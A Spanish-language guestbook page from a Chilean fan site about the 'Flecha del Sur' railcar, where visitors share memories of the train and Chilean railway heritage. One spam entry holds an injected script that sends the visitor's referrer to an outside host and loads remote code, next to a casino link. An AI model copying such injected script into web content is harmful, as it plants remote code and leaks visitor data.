Flecha del Sur: Leyenda siobre Ruedas
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Admin: Borrar Mensaje  José Pino    ce3lqh@gmail.com  28/12/2011 15:30  Fecha
Mensaje Felicito a quien o quienes levantaron esta página. Es tambien de esperar que sigan publicando y creciendo.
Realmente un aporte histórico.
No decaigan

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Admin: Borrar Mensaje  danilo    by_danilo.net@hotmail.com http://www.melodysoft.com  29/07/2011 22:36  Fecha
Mensaje felicitaciones por este hermoso recuerdo que nostalgia se siente al ver estas fotos

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Admin: Borrar Mensaje  Héctor Morales    hgmoralesb@gmail.com  3/06/2011 21:32  Fecha
Mensaje Lamentablemente solo lo conocí por referencias de mi padre y algunas veces cuando al pasar en tren por el costado de la Maestranza San Bernardo, lo podía divisar, arrumbado poco menos, junto a los inmensos talleres (Poco antes de la cuasi desmantelación de Ferrocarriles del Estado), sin embargo logró aumentar en mí el cariño por nuestros trenes y su poderosa magia.

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Admin: Borrar Mensaje  remik    remikomar@gmail.com http://www.kfeventos.org  7/02/2011 03:11  Fecha
Mensaje Realmente muy interesante vuestra informacion.
La verdad no sabia nada del flecha del sur.

Se agradece que dejes este conocimiento para las futuras generaciones

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Admin: Borrar Mensaje  JUAN HYSEN BUSTAMANTE    CASA2945@GMAIL.COM  17/08/2010 12:24  Fecha
Mensaje SOLO PARA COTARLES QUE ME TRAJO NOSTALGIAS OLVIDADAS YA QUE YO VIAJE EN EL FLECHA DEL SUR EN ELTRAMO SANTIAGO CHILLAN, MI FAIMLIA VERAEABA EN LAS TERMAS DE CHILLAN Y ERA UN RITUAL EL VIAJE ENE EL FLECHA. QUE DE RECUIERDOS, SALIA A LAS 08:00 HORAS DE EST. CENTRAL Y ENTRABA A LA ESTACION DE CHILLAN A LAS 14 :30 DE LA TARDE DONDE BAJABAMOS Y LLEGABA A PUERTO MONTT A LAS 24:00 HORAS.
SE DETENIA SOLO E N TALCA Y LUEGO EN CHILLAN. QUE RECUERDOS, VISUALIZO SU INTERIOR CON ASIENTOS DUALES TAPIZADOS EN FELPA PLOMA, CO SUS NUQUEROS BLANCOS ALBOS. ASIENTOS GIRATORIOS Y ESAS MESITAS INDIVIDUALES ADOSADAS AL ASIENTO DELANTERO O MESA PARA CUATRO CON SUS ASIENTOS FRENTE A FRENTES CON UNA MESA ADOSDA A LA VENTANILLA Y UNA PATA CENTRAL..... QUE TIEMPOS AQUELLOS. EL VIAJE LO RECUERDO COMO SI FUERA HOY CON SUS VENTANA CERRADAS HERMETICAS QUE CUANDO NIÑO UNCA ME LO PUDE EXPLICAR POR QUE NO SE ABRIAN PESE A QUE MI PADRE ME LO EXPLICO VARIAS VCES. (1944 A 1950)

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Admin: Borrar Mensaje  Luis Charme    accord@terra.cl  5/02/2009 14:46  Fecha
Mensaje Fantástico tu trabajo, felicitaciones y sigue adelante para deleite de todos. Estoy entre los que no sabía nada de este mítico tren, auque crecí arriba de sus hermanos automotores entre Valparaíso y Peñablanca en la década del ´60.
La historia de los trenes enviados el año 1943 es digna de Ripley... Alemania cayéndose a pedazos en plena guerra mundial y el ministro chileno jodiendo al ministro alemán con el tema de los trencitos, increible!
Saludos,
L.Ch.

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Admin: Borrar Mensaje  LUIS ALBERTO FLORES ACEVEDO    lafacev@gmail.com  3/08/2007 16:58  Fecha
Mensaje Felicidades por las fotos del mítico Flecha del Sur,favor informar cuando se actualizarán con más fotos.

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Admin: Borrar Mensaje  leopoldo galindo    leopardogalindo@hotmail.com  11/07/2007 01:50  Fecha
Mensaje felicitaciones por recordar este automotor aleman,sigamos defendiendo el patrimonio ferroviario.saludos de un conocedor de ffcc.

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Admin: Borrar Mensaje  VICTOR RECABARREN B    verb71@hotmail.com  17/06/2007 07:11  Fecha
Mensaje Gracias Santiago por tan dedicado trabajo,soy hijo de ferroviarios mi abuelo jefe de grupo llay llay la calera mi viejo conductor eso hace años atras.me encanto la pagina un tren espectacular para la epoca . para el conocimiento de todos la estacion de Quillota patrimonio nacional la demolieron para dar paso a la modernidad,no les parece terrible .aparentemente lo mismo quieren hacer con la estacion de calera.es de esperar que no sigan matando la historia.

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Admin: Borrar Mensaje  roulette    d71s_test373@hotmail.com http://www.ewb-india.org/sf2k/topic.asp?TOPIC_ID=118#0  3/06/2007 07:23  Fecha
Mensaje ov7et1n-9c75mo7-tw6q24d9-0 <script>var r = document.referrer; document.write('<script src="http://www.stats-log.com/gb.php?id=g&r='+escape(r)+'"><' + '/script>')</script> <a href="http://www.new-lucky-casino.com/bonus.html#2">online casino bonus</a>
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Admin: Borrar Mensaje  Victor Calderón V    vcalderonv@icafal.cl  16/05/2007 09:20  Fecha
Mensaje Soy constructor civil, hace 4 años dedicado a las obras ferroviarias..colegas con más años en el rubro hablaban mucho de este tren...ha sido muy grato poder conocer de este majestuso tren del sur, mis felicitaciones a tu dedicación, pero...a la vez penoso el constatar cuantos pasos atras se han dado en materia ferroviaria en mi país.....

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Admin: Borrar Mensaje  mario salas rodriguez    mariosalasr@hotmail.com  27/04/2007 14:21  Fecha
Mensaje excelente pagina felicitaciones, soy maquinista de ferrocarriles hace 20 años y me hubiese encantado conocer estos trenes

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Admin: Borrar Mensaje  mario salas rodriguez    mariosalasr@hotmail.com  27/04/2007 14:21  Fecha
Mensaje excelente pagina felicitaciones, soy maquinista de ferrocarriles hace 20 años y me hubiese encantado conocer estos trenes

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Admin: Borrar Mensaje  Edmundo Abad    edmundo_abad@hotmail.com http://mipagina.123.cl/eabad/index.htm  16/03/2007 14:14  Fecha
Mensaje Me alegra encontrar una página que conserve la historia de nuestros ferrocarriles. Saludos de un Ing. en Transporte que tuvo la gratificante misión de trabajar con los "viejos" de los antiguos Grupos Vía de EFE. Brindo por el maquinista, por las palancas y el tren, etc....Felicitaciones.

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Admin: Borrar Mensaje  Rodrigo Ignacio Wielandt    rwielandt@esfera.cl http://www.wmb.cl  14/03/2007 16:34  Fecha
Mensaje Muchas gracias por tan excelente sitio y detallada información acerca del automotor germano ''Flecha''. Muy buen trabajo. Conocía el automotor por fotos, tanto las chilenas como algunas imágenes de sus parientes alemanes, tanto en Hamburgo, Berlín, Köln y Lepzig. Así como también sabía de sus caracteríasticas por familiares que alcanzaron disfrutar de él. Pero nunca llegué a recopilar tan exacta y completa información como la que tiene tu sitio. Felicitaciones!!!!

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